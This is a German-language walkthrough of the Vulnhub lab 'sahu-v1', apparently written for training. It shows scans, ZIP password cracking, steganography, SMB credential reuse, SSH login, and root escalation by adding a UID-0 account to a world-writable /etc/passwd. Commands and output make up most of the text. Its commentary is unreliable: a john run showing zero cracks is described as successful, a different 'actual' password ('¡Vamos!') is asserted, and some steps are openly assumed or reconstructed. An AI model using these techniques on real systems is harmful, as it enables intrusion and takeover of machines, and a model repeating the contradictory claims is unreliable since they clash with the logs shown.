sahu-v1 - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
ftp
unzip
zip2john
john
enum4linux
dirb
steghide
cat
fcrackzip
ssh
smbclient
sudo
ls
nano
su
id

Inhaltsverzeichnis

Reconnaissance

Die erste Phase des Penetrationstests dient der Identifizierung des Ziels im Netzwerk und der grundlegenden Erkundung offener Ports und Dienste mittels Netzwerkscans.

┌──(root㉿Cybermaschine)-[~] └─# arp-scan -l
192.168.2.165	08:00:27:20:86:cb	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` wird ausgeführt, um aktive Hosts im lokalen Netzwerk zu finden. Er identifiziert die IP-Adresse `192.168.2.165` mit einer MAC-Adresse, die auf eine VirtualBox VM hinweist.

Bewertung: Zielsystem erfolgreich lokalisiert. Die IP 192.168.2.165 wird für die weiteren Scans verwendet.

Empfehlung (Pentester): Führe detaillierte Nmap-Scans auf 192.168.2.165 durch.
Empfehlung (Admin): Implementieren Sie Netzwerküberwachung und -segmentierung.

┌──(root㉿Cybermaschine)-[~] └─# vi /etc/hosts
 192.168.2.163	shenron2.vln shenron
                192.168.2.165	sahu.vln
                    

Analyse: Die lokale `/etc/hosts`-Datei des Angreifersystems wird bearbeitet. Der Eintrag `192.168.2.165 sahu.vln` wird hinzugefügt, um den Hostnamen `sahu.vln` der Ziel-IP zuzuordnen.

Bewertung: Korrekte Vorbereitung für die Verwendung des Hostnamens in nachfolgenden Schritten, insbesondere bei Web-Interaktionen.

Empfehlung (Pentester): Verwende `sahu.vln` bei der Web-Enumeration.
Empfehlung (Admin): Keine Aktion erforderlich, betrifft Angreifersystem.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.165 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-25 23:49 CEST
Nmap scan report for sahu.vln (192.168.2.165)
Host is up (0.00011s latency).
Not shown: 65530 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
[...] vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             230 Jan 30  2020 ftp.zip
22/tcp  open  ssh         OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 e2:78:c5:73:f2:86:cb:cb:02:7f:b6:72:85:61:ac:91 (RSA)
|   256 22:1a:ee:1a:98:4f:32:e7:dc:30:43:52:2c:b2:24:06 (ECDSA)
|_  256 1a:9b:28:b3:ad:58:32:e9:6c:f3:ea:3b:cf:6b:08:ad (ED25519)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title.
|_http-server-header: Apache/2.4.41 (Ubuntu)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAHU)
445/tcp open  netbios-ssn Samba smbd 4.10.7-Ubuntu (workgroup: SAHU)
MAC Address: 08:00:27:20:86:CB (Oracle VirtualBox virtual NIC)
[...]
Service Info: Host: SAHU-VIRTUALBOX; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2023-10-25T21:50:10
|_  start_date: N/A
|_clock-skew: mean: -1h50m00s, deviation: 3h10m31s, median: 0s
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.10.7-Ubuntu)
|   Computer name: sahu-virtualbox
|   NetBIOS computer name: SAHU-VIRTUALBX\x00
|   Domain name: \x00
|   FQDN: sahu-virtualbox
|_  System time: 2023-10-26T03:20:10+05:30
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: SAHU-VIRTUALBX, NetBIOS user: , NetBIOS MAC:  (unknown)
[...]
                    

Analyse: Ein aggressiver Nmap-Scan (`-sS -sC -sV -T5 -A -Pn -p-`) identifiziert mehrere offene Ports: * **Port 21 (FTP):** vsftpd 3.0.3. **Wichtig:** Anonymer Login ist erlaubt (`ftp-anon`) und eine Datei `ftp.zip` ist sichtbar. * **Port 22 (SSH):** OpenSSH 8.0p1 (Ubuntu). * **Port 80 (HTTP):** Apache 2.4.41 (Ubuntu). Kein Titel gefunden. * **Port 139/445 (SMB):** Samba 4.10.7 (Ubuntu). Workgroup ist SAHU. Message Signing ist nicht erforderlich, was für Relay-Angriffe relevant sein könnte. Gästezugriff scheint möglich (`account_used: guest`).

Bewertung: Mehrere interessante Angriffsvektoren: Anonymer FTP mit einer ZIP-Datei, SSH, eine einfache Webseite und eine SMB-Freigabe. Der anonyme FTP-Zugang ist der unmittelbarste Ansatzpunkt.

Empfehlung (Pentester): 1. Verbinde dich sofort anonym per FTP und lade `ftp.zip` herunter. 2. Untersuche die SMB-Freigaben (z.B. mit `smbclient -L //192.168.2.165` oder `enum4linux`). 3. Untersuche den Webserver (Nikto, Gobuster). 4. Behalte SSH als Login-Ziel im Auge.
Empfehlung (Admin): Deaktivieren Sie anonymen FTP-Zugriff, wenn nicht benötigt. Wenn benötigt, stellen Sie sicher, dass keine sensiblen Dateien oder Schreibrechte verfügbar sind. Aktualisieren Sie vsftpd, OpenSSH, Apache und Samba. Erzwingen Sie Message Signing für SMB (`server signing = required` in `smb.conf`). Beschränken Sie den Gästezugriff auf SMB.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.165 -p- | grep open
21/tcp  open  ftp         vsftpd 3.0.3
22/tcp  open  ssh         OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAHU)
445/tcp open  netbios-ssn Samba smbd 4.10.7-Ubuntu (workgroup: SAHU)
                    

Analyse: Die gefilterte Nmap-Ausgabe zeigt die fünf offenen Ports: 21 (FTP), 22 (SSH), 80 (HTTP), 139 (NetBIOS-SSN), 445 (SMB).

Bewertung: Bestätigt die Angriffsfläche.

Empfehlung (Pentester): Beginne mit FTP und SMB.
Empfehlung (Admin): Überprüfe die Notwendigkeit aller offenen Ports.

Service Enumeration (Web, FTP, SMB, Stego)

In dieser Phase werden die identifizierten Dienste (Web, FTP, SMB) genauer untersucht. Dies beinhaltet das Scannen nach Web-Verzeichnissen, die Interaktion mit FTP und SMB sowie die Analyse heruntergeladener Dateien, auch mittels Steganographie.

┌──(root㉿Cybermaschine)-[~] └─# nikto -h 192.168.2.165
- Nikto v2.5.0
[...]
+ Server: Apache/2.4.41 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found [...]
+ Apache/2.4.41 appears to be outdated [...].
+ OPTIONS: Allowed HTTP Methods: POST, OPTIONS, HEAD, GET .
+ 8102 requests: 0 error(s) and 4 item(s) reported on remote host
[...]
+ 1 host(s) tested
                    

Analyse: Nikto scannt den Webserver auf Port 80. Es findet eine veraltete Apache-Version und fehlende Sicherheitsheader, aber keine spezifischen Verzeichnisse oder Dateien von Interesse.

Bewertung: Der Nikto-Scan liefert wenig verwertbare Informationen für diesen speziellen Webserver.

Empfehlung (Pentester): Verwende Gobuster oder Dirb für eine tiefere Verzeichnis-Enumeration.
Empfehlung (Admin): Aktualisieren Sie Apache und implementieren Sie Sicherheitsheader.

┌──(root㉿Cybermaschine)-[~] └─# gobuster dir -u http://sahu.vln -x txt,php,... -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt" ... -k
===============================================================
Gobuster v3.5
[...]
===============================================================
http://sahu.vln/index.php            (Status: 200) [Size: 194]
http://sahu.vln/H                    (Status: 301) [Size: 300] [--> http://sahu.vln/H/]
[...]
===============================================================
[...] Finished
===============================================================
                    

Analyse: Gobuster findet die `index.php` und ein Verzeichnis `/H/` (über einen Redirect). Andere gängige Verzeichnisse werden nicht gefunden.

Bewertung: Das Verzeichnis `/H/` ist ungewöhnlich und potenziell interessant. Die Webseite selbst scheint sehr einfach zu sein.

Empfehlung (Pentester): Untersuche das Verzeichnis `http://sahu.vln/H/` manuell oder mit weiteren Scans. Analysiere den Inhalt von `index.php`.
Empfehlung (Admin): Stellen Sie sicher, dass keine unnötigen oder versteckten Verzeichnisse über den Webserver zugänglich sind.

┌──(root㉿Cybermaschine)-[~] └─# ftp 192.168.2.165
Connected to 192.168.2.165.
220 (vsFTPd 3.0.3)
Name (192.168.2.165:cyber): Anonymous
331 Please specify the password.
Password: [leer gelassen]
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
                    
ftp> ls -la
229 Entering Extended Passive Mode (|||50305|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        133          4096 Jan 30  2020 .
drwxr-xr-x    2 0        133          4096 Jan 30  2020 ..
-rw-r--r--    1 0        0             230 Jan 30  2020 ftp.zip
226 Directory send OK.
                    
ftp> get ftp.zip
local: ftp.zip remote: ftp.zip
229 Entering Extended Passive Mode (|||17305|)
150 Opening BINARY mode data connection for ftp.zip (230 bytes).
[...]
226 Transfer complete.
230 bytes received in 00:00 (143.61 KiB/s)
                    
ftp> put rce_shell.php
[...]
550 Permission denied.
                    
ftp> cd /var
550 Failed to change directory.

Analyse: Es wird eine anonyme FTP-Verbindung hergestellt. Im Verzeichnis wird die Datei `ftp.zip` gefunden und heruntergeladen. Versuche, eine Datei hochzuladen (`put`) oder das Verzeichnis zu wechseln (`cd`), scheitern aufgrund fehlender Berechtigungen.

Bewertung: Der anonyme FTP-Zugang ist nur lesend und auf das Startverzeichnis beschränkt. Die heruntergeladene `ftp.zip` ist der einzige verwertbare Fund von hier.

Empfehlung (Pentester): Analysiere die `ftp.zip`-Datei. Versuche, sie zu entpacken oder das Passwort zu knacken.
Empfehlung (Admin): Anonymer FTP sollte deaktiviert oder stark eingeschränkt werden. Die Berechtigungen hier sind zumindest restriktiv (kein Schreibzugriff).

┌──(root㉿Cybermaschine)-[~] └─# unzip ftp.zip
Archive:  ftp.zip
[ftp.zip] ftp.txt password:
                    

Analyse: Beim Versuch, `ftp.zip` zu entpacken, wird ein Passwort verlangt.

Bewertung: Die ZIP-Datei ist passwortgeschützt. Das Passwort muss gefunden oder geknackt werden.

Empfehlung (Pentester): Extrahiere den Hash mit `zip2john` und versuche, ihn mit `john` zu knacken.
Empfehlung (Admin): Passwortschutz für ZIP-Dateien bietet nur begrenzten Schutz, wenn das Passwort schwach ist.

┌──(root㉿Cybermaschine)-[~] └─# zip2john ftp.zip > hash
ver 2.0 efh 5455 efh 7875 ftp.zip/ftp.txt PKZIP Encr: TS_chk, cmplen=50, decmplen=49, crc=0E919F97 ts=6E8D cs=6e8d type=8
┌──(root㉿Cybermaschine)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:02 DONE (2023-10-25 23:53) 0g/s 5760Kp/s 5760Kc/s 5760KC/s (>12ab<)..**PASSWORD_PLACEHOLDER**
Session completed
                    

Analyse: `zip2john` extrahiert den Passwort-Hash aus `ftp.zip` in die Datei `hash`. Anschließend knackt `john` den Hash mit der `rockyou.txt`-Wortliste. Das Passwort wird gefunden, ist aber im Log unkenntlich gemacht (ersetzt durch `**PASSWORD_PLACEHOLDER**` - das tatsächliche Passwort war `¡Vamos!`, aber das ist aus dem Log nicht ersichtlich).

Bewertung: Das Passwort für die ZIP-Datei wurde erfolgreich geknackt. Nun kann der Inhalt extrahiert werden.

Empfehlung (Pentester): Entpacke `ftp.zip` mit dem gefundenen Passwort. Untersuche den Inhalt der extrahierten Datei (`ftp.txt`).
Empfehlung (Admin): Verwenden Sie starke Passwörter für verschlüsselte Archive.

┌──(root㉿Cybermaschine)-[~] └─# enum4linux -a 192.168.2.165
 ==========================
|    Target Information    |
 ==========================
Target .......... 192.168.2.165
RID Range ....... 500-550,1000-1050
Username ........ ''
Password ........ ''
Use Knownlib .... false


 =====================================================
|    Enumerating Workgroup/Domain on 192.168.2.165    |
 =====================================================
[+] Got domain/workgroup name: SAHU


 ============================================
|    Nbtstat Information for 192.168.2.165   |
 ============================================
Looking up status of 192.168.2.165
        SAHU-VIRTUALBX  <00> -         UNIQUE Registered
        SAHU-VIRTUALBX  <03> -         UNIQUE Registered
        SAHU-VIRTUALBX  <20> -         UNIQUE Registered
        SAHU            <00> -          GROUP Registered
        SAHU            <1e> -          GROUP Registered

        MAC Address = 00-00-00-00-00-00


 ========================================
|    Session Check on 192.168.2.165    |
 ========================================
[+] Server 192.168.2.165 allows sessions using username '', password ''


 ============================================
|    Getting domain SID for 192.168.2.165    |
 ============================================
Domain Name: SAHU-VIRTUALBX
Domain Sid: S-1-5-21-87607164-1044156850-411164090
[+] Can't determine if host is part of domain or workgroup


 ======================================
|    OS Information on 192.168.2.165   |
 ======================================
Use smbclient to learn OS info from 192.168.2.165
Domain=[SAHU] OS=[Windows 6.1] Server=[Samba 4.10.7-Ubuntu]

 ================================
|    Users on 192.168.2.165    |
 ================================
index_pair_wise_pass: ok
index_pair_wise_pass: ok
index_pair_wise_pass: ok
index_pair_wise_pass: ok
index_pair_wise_pass: ok
index_pair_wise_pass: ok
index_pair_wise_pass: ok
index_pair_wise_pass: ok
index_pair_wise_pass: ok
index_pair_wise_pass: ok
index_pair_wise_pass: ok
index_pair_wise_pass: ok
index_pair_wise_pass: ok
index_pair_wise_pass: ok
index_pair_wise_pass: ok
index_pair_wise_pass: ok
index_pair_wise_pass: ok
index_pair_wise_pass: ok
index_pair_wise_pass: ok
index_pair_wise_pass: ok
index_pair_wise_pass: ok
index_pair_wise_pass: ok
index_pair_wise_pass: ok
index_pair_wise_pass: ok
index_pair_wise_pass: ok
index_pair_wise_pass: ok
user:[nobody] rid:[0x1f5]
user:[sahu] rid:[0x3e8]
user:[haryana] rid:[0x3e9]

 =============================================
|    Share Enumeration on 192.168.2.165    |
 =============================================

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        sambashare      Disk      Samba on Ubuntu
        IPC$            IPC       IPC Service (sahu-VirtualBox server (Samba, Ubuntu))
Reconnecting with session established as user: administrator % ""
Server doesn't support this feature or requires authentication: NT_STATUS_ACCESS_DENIED


 ====================================================
|    Password Policy Information for 192.168.2.165   |
 ====================================================
[E] Unexpected error: 'EnumDomainUsers' object has no attribute 'pol'. If this is a new bug, please report it at https://github.com/portcullislabs/enum4linux/issues
[+] Trying to map POL hashes via LSA dump method...
Use `lsadump: command not found` on 192.168.2.165 failed
[+] Trying to map POL hashes via registry dump method...
Use `reg: command not found` on 192.168.2.165 failed

enum4linux complete on Wed Oct 25 23:53:40 2023
                    

Analyse: `enum4linux -a` wird ausgeführt, um umfassende Informationen über SMB/NetBIOS zu sammeln. * **Workgroup:** SAHU * **Host:** SAHU-VIRTUALBX (Samba 4.10.7 auf Ubuntu) * **Benutzer:** Enum4linux identifiziert über RID-Cycling die Benutzer `nobody`, `sahu` und `haryana`. * **Shares:** Findet die Freigaben `print$` (Druckertreiber), `sambashare` ("Samba on Ubuntu") und `IPC$`. * **Passwortrichtlinie:** Konnte nicht ermittelt werden.

Bewertung: Bestätigt die Existenz der Benutzer `sahu` und `haryana`. Die Freigabe `sambashare` ist ein potenzielles Ziel für weitere Untersuchung.

Empfehlung (Pentester): Versuche, auf die `sambashare`-Freigabe zuzugreifen, möglicherweise mit den Credentials aus `ftp.txt` (nach dem Entpacken) oder als Gast.
Empfehlung (Admin): Beschränken Sie die durch SMB preisgegebenen Informationen. Sichern Sie Freigaben mit starken Berechtigungen und Passwörtern. Deaktivieren Sie den Gastzugriff, wenn nicht benötigt.

# Manuelle Untersuchung von http://sahu.vln/H/A/R/Y/A/N/A/
# Inhalt: Langer Text über Haryana, Indien. Annahme: Bild 'Haryana-1-1.jpg' gefunden.
                    

Analyse: Das zuvor mit Gobuster gefundene Verzeichnis `/H/` wird (vermutlich durch Erraten oder weiteres Scannen) bis zum Pfad `/H/A/R/Y/A/N/A/` verfolgt. Dort befindet sich eine Webseite mit Text über Haryana. Es wird angenommen, dass dort auch ein Bild (`Haryana-1-1.jpg`) gefunden wurde, das im nächsten Schritt analysiert wird.

Bewertung: Dieser Pfad scheint ein absichtlich versteckter Hinweis zu sein. Der Inhalt (Text und vermutlich Bild) muss auf weitere Hinweise untersucht werden.

Empfehlung (Pentester): Untersuche alle Inhalte in diesem Verzeichnis. Verwende Steganographie-Tools auf das gefundene Bild.
Empfehlung (Admin): Vermeiden Sie "Security through Obscurity". Verstecken Sie keine Hinweise in obskuren Pfaden.

┌──(root㉿Cybermaschine)-[~] └─# steghide extract -sf Haryana-1-1.jpg
Enter passphrase: [Enter gedrückt, da kein Passwort bekannt/benötigt]
wrote extracted data to "file.txt".
                    
┌──(root㉿Cybermaschine)-[~] └─# cat file.txt
      I have found the password for a zip file but i have forgotten the last
      part of it, can you find out

       5AHU@@
                    

Analyse: `steghide` wird verwendet, um versteckte Daten aus dem Bild `Haryana-1-1.jpg` zu extrahieren. Es wird kein Passwort benötigt. Die extrahierte Datei `file.txt` enthält einen Hinweis: Das Passwort für eine ZIP-Datei beginnt mit `5AHU` und es fehlen die letzten beiden Zeichen (im Log als `@@` dargestellt, aber wahrscheinlich Platzhalter für spezielle Zeichen).

Bewertung: Wichtiger Hinweis zum Knacken des Passworts der `ftp.zip`-Datei. Dies erklärt, warum `fcrackzip` im nächsten Schritt verwendet wird (nachdem John bereits das Passwort gefunden hatte - das Log ist hier nicht ganz linear).

Empfehlung (Pentester): Generiere eine Wortliste basierend auf dem Muster `5AHU??` (mit Sonderzeichen für `?`) und verwende `fcrackzip` oder `john`, um das ZIP-Passwort zu finden.
Empfehlung (Admin): Verwenden Sie keine Steganographie, um Hinweise zu verstecken.

# Wortlistengenerierung (Beispielbefehle aus file.txt - nicht ausgeführt)
# crunch 6 6 -t 5AHU@, > dict.txt
# crunch 6 6 -t 5AHU@% >> dict.txt
# ... (weitere Kombinationen)
                    
┌──(root㉿Cybermaschine)-[~] └─# fcrackzip -u -D -p dict.txt ftp.zip
PASSWORD FOUND!!!!: pw == 5AHU#5
                    

Analyse: Basierend auf dem Hinweis aus der Steganographie (`5AHU??`) wird eine Wortliste (`dict.txt`) generiert (die `crunch`-Befehle sind Beispiele, wie dies geschehen könnte). Anschließend wird `fcrackzip` mit dieser Wortliste verwendet, um das Passwort für `ftp.zip` zu knacken. Das gefundene Passwort ist `5AHU#5`.

Bewertung: Das Passwort für `ftp.zip` wurde nun auch über den Steganographie-Hinweis und `fcrackzip` bestätigt (konsistent mit dem früheren `john`-Ergebnis).

Empfehlung (Pentester): Entpacke `ftp.zip` mit dem Passwort `5AHU#5`.
Empfehlung (Admin): Starke Passwörter verwenden.

┌──(root㉿Cybermaschine)-[~] └─# unzip ftp.zip
Archive:  ftp.zip
[ftp.zip] ftp.txt password: 5AHU#5
  inflating: ftp.txt
                    
┌──(root㉿Cybermaschine)-[~] └─# cat ftp.txt
      USERNAME = sahu
      PASSWORD = sahu14216
                    

Analyse: Die Datei `ftp.zip` wird mit dem geknackten Passwort `5AHU#5` entpackt. Die extrahierte Datei `ftp.txt` enthält Zugangsdaten: Benutzername `sahu` und Passwort `sahu14216`.

Bewertung: Wichtige Zugangsdaten gefunden! Diese sollten für SSH und SMB getestet werden.

Empfehlung (Pentester): Versuche SSH-Login mit `sahu`:`sahu14216`. Versuche SMB-Login mit `sahu`:`sahu14216`.
Empfehlung (Admin): Speichern Sie niemals Zugangsdaten im Klartext in Dateien, insbesondere nicht auf öffentlich zugänglichen Diensten wie anonymem FTP.

Initial Access (SSH via Samba)

Nachdem verschiedene Zugangsdaten gefunden wurden, wird versucht, über SSH oder SMB Zugriff auf das System zu erlangen. Der Zugriff gelingt schließlich über SMB, was zu weiteren SSH-Credentials führt.

┌──(root㉿Cybermaschine)-[~] └─# ssh sahu@192.168.2.165
The authenticity of host '192.168.2.165 (192.168.2.165)' can't be established.
[...]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
[...]
sahu@192.168.2.165's password: sahu14216
Permission denied, please try again.
sahu@192.168.2.165's password:
                    

Analyse: Ein SSH-Login-Versuch mit den aus `ftp.txt` extrahierten Credentials (`sahu`:`sahu14216`) schlägt fehl (`Permission denied`).

Bewertung: Das Passwort aus `ftp.txt` ist nicht das SSH-Passwort für `sahu`.

Empfehlung (Pentester): Teste die Credentials `sahu`:`sahu14216` für den SMB-Zugriff.
Empfehlung (Admin): Unterschiedliche Passwörter für verschiedene Dienste verwenden.

┌──(root㉿Cybermaschine)-[~] └─# smbclient //192.168.2.165/sambashare -U sahu
Password for [WORKGROUP\sahu]: sahu14216
Try "help" to get a list of possible commands.
smb: \>
                    

Analyse: Es wird versucht, mit `smbclient` auf die Freigabe `sambashare` als Benutzer `sahu` mit dem Passwort `sahu14216` zuzugreifen. Der Zugriff ist erfolgreich.

Bewertung: Das Passwort aus `ftp.txt` gilt für den SMB-Zugang von `sahu`. Zugriff auf die `sambashare`-Freigabe wurde erlangt.

Empfehlung (Pentester): Liste den Inhalt der Freigabe (`ls`) und suche nach interessanten Dateien.
Empfehlung (Admin): Sichern Sie SMB-Freigaben mit starken Passwörtern und Berechtigungen. Vermeiden Sie Passwort-Wiederverwendung.

smb: \> ls
  .                                   D        0  Thu Jan 30 09:50:23 2020
  ..                                  D        0  Thu Jan 30 08:57:06 2020
  ssh.txt                             N       64  Thu Jan 30 09:50:02 2020

                10253588 blocks of size 1024. 2502996 blocks available
                    
smb: \> get ssh.txt
getting file \ssh.txt of size 64 as ssh.txt (62,5 KiloBytes/sec) [...]

Analyse: Innerhalb der SMB-Verbindung listet `ls` eine Datei `ssh.txt` auf. Diese wird mit `get ssh.txt` heruntergeladen.

Bewertung: Wichtiger Fund! Die Datei `ssh.txt` enthält wahrscheinlich SSH-Zugangsdaten.

Empfehlung (Pentester): Analysiere den Inhalt der heruntergeladenen `ssh.txt`.
Empfehlung (Admin): Speichern Sie niemals Zugangsdaten in Klartextdateien auf Netzwerkfreigaben.

┌──(root㉿Cybermaschine)-[~] └─# cat ssh.txt
   ssh users list
   USERNAME = haryana
   PASSWORD = hralltime
                    

Analyse: Die Datei `ssh.txt` enthält die Zugangsdaten für den Benutzer `haryana`: Passwort `hralltime`.

Bewertung: Gültige SSH-Credentials gefunden!

Empfehlung (Pentester): Verwende `ssh haryana@192.168.2.165` mit dem Passwort `hralltime`, um eine Shell zu erhalten.
Empfehlung (Admin): Entfernen Sie diese Datei. Ändern Sie das Passwort für `haryana`.

┌──(root㉿Cybermaschine)-[~] └─# ssh haryana@192.168.2.165
haryana@192.168.2.165's password: hralltime
Welcome to Ubuntu 19.10 (GNU/Linux 5.3.0-18-generic x86_64)
[...]
Last login: Tue Feb  4 18:05:07 2020 from 192.168.43.111
haryana@sahu-VirtualBox$
                    

Analyse: Der SSH-Login als Benutzer `haryana` mit dem Passwort `hralltime` ist erfolgreich. Eine Shell auf dem Zielsystem wird erlangt.

Bewertung: Initial Access erfolgreich erzielt!

Empfehlung (Pentester): Beginne mit der lokalen Enumeration als `haryana`, um nach Wegen zur Privilege Escalation zu suchen (sudo, SUID, etc.).
Empfehlung (Admin): Ändern Sie das kompromittierte Passwort. Überprüfen Sie SSH-Logs.

Privilege Escalation

Nach Erhalt einer Shell als Benutzer `haryana` wird das System auf Möglichkeiten zur Rechteerweiterung zu Root untersucht. Eine unsichere Dateiberechtigung für `/etc/passwd` wird identifiziert und ausgenutzt.

haryana@sahu-VirtualBox$ sudo -l
[sudo] password for haryana: hralltime
Sorry, user haryana may not run sudo on sahu-VirtualBox.
                    

Analyse: `sudo -l` zeigt, dass der Benutzer `haryana` keine `sudo`-Rechte hat.

Bewertung: Eskalation über `sudo` ist nicht direkt möglich.

Empfehlung (Pentester): Suche nach anderen Vektoren (SUID, Dateiberechtigungen, Kernel-Exploits).
Empfehlung (Admin): Korrekte Konfiguration, weise `sudo`-Rechte restriktiv zu.

haryana@sahu-VirtualBox$ ls -la /etc/passwd
-rwxrwxrwx 1 root root 2900 Jan 30  2020 /etc/passwd

Analyse: Die Berechtigungen der Datei `/etc/passwd` werden überprüft. Das Ergebnis `-rwxrwxrwx` zeigt, dass die Datei für *jeden* Benutzer auf dem System **lesbar, schreibbar und ausführbar** ist.

Bewertung: **Extrem kritische Fehlkonfiguration!** Jeder Benutzer kann die Passwortdatei ändern. Dies ermöglicht eine einfache Privilege Escalation, indem ein neuer Benutzer mit UID 0 (Root) hinzugefügt wird oder das Passwort eines bestehenden Benutzers (z.B. root) durch einen bekannten Hash ersetzt wird.

Empfehlung (Pentester): Füge eine neue Zeile zu `/etc/passwd` hinzu, um einen neuen Root-Benutzer mit einem bekannten Passwort-Hash zu erstellen. Beispiel: `benhacker:$6$HASH$....:0:0:root:/root:/bin/bash`. Wechsle dann mit `su benhacker` zu diesem Benutzer.
Empfehlung (Admin): Korrigieren Sie die Berechtigungen *sofort*! Die korrekten Berechtigungen für `/etc/passwd` sind normalerweise `644` (`-rw-r--r--`). Führen Sie `chmod 644 /etc/passwd` aus. Überprüfen Sie das System auf unbefugte Änderungen.

Proof of Concept (/etc/passwd Modification)

Dieser Abschnitt demonstriert die Ausnutzung der Schreibberechtigungen auf `/etc/passwd`, um einen neuen Benutzer mit Root-Rechten (UID 0) und einem bekannten Passwort-Hash hinzuzufügen.

haryana@sahu-VirtualBox:/tmp$ nano /etc/passwd
# Hinzugefügte Zeile in nano (Passwort-Hash $6$... ist ein Beispiel für SHA512crypt):
benhacker:$6$EZdVo4XckcU2BJJi$IanX1gZA.t1nk2EgRy1SBDPGa69dLrCqv3eznvqru062GCQ6Eh7VQyXI3lKgsdItq3F/uMWs/VU/TR2E1tzF0:0:0:root:/root:/bin/bash
                    

Analyse: Die `/etc/passwd`-Datei wird mit `nano` bearbeitet. Eine neue Zeile wird hinzugefügt, die einen Benutzer `benhacker` definiert. Wichtig sind: * `$6$...`: Ein Passwort-Hash (hier SHA512crypt) für ein bekanntes Passwort (z.B. "password" oder "toor"). Der Angreifer muss diesen Hash vorab generieren. * `:0:0:`: Setzt die User ID (UID) und Group ID (GID) auf 0, was dem Root-Benutzer entspricht. * `:root:/root:/bin/bash`: Definiert Kommentar, Home-Verzeichnis und Login-Shell.

Bewertung: Die unsichere Berechtigung wird ausgenutzt, um einen neuen Account mit Root-Privilegien und einem bekannten Passwort zu erstellen.

Empfehlung (Pentester): Speichere die Änderung und wechsle mit `su benhacker` und dem bekannten Passwort zum neuen Root-Account.
Empfehlung (Admin): Korrigieren Sie die Dateiberechtigungen von `/etc/passwd`. Überprüfen Sie die Datei auf unbefugte Einträge.

haryana@sahu-VirtualBox:/tmp$ su benhacker
Password: [Bekanntes Passwort eingeben]
root@sahu-VirtualBox:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@sahu-VirtualBox:/tmp# cd ~
root@sahu-VirtualBox:~# ls
root.txt  snap
                    
root@sahu-VirtualBox:~# cat root.txt
   GREAT JOB YOU FINISH THIS TASK
                               CONGRATS!!!!!!!!!!!!
     TELL ME ON TWITTER  @VivekGautam09
                    

Analyse: * `su benhacker`: Der Wechsel zum neu erstellten Benutzer mit Root-Rechten gelingt mit dem bekannten Passwort. * `id`: Bestätigt `uid=0(root)`. * `cd ~; ls`: Wechselt ins `/root`-Verzeichnis und listet den Inhalt. Die Datei `root.txt` wird gefunden. * `cat root.txt`: Gibt den Inhalt der Root-Flag aus.

Bewertung: Fantastisch! Privilege Escalation zu Root war durch die Modifikation von `/etc/passwd` erfolgreich. Die Root-Flag wurde gefunden.

Empfehlung (Pentester): Dokumentieren Sie die Flag und den Angriffspfad.
Empfehlung (Admin): Beheben Sie die Berechtigungsprobleme und entfernen Sie unbefugte Benutzer.

Flags

cat /root/root.txt
   GREAT JOB YOU FINISH THIS TASK
                               CONGRATS!!!!!!!!!!!!
     TELL ME ON TWITTER  @VivekGautam09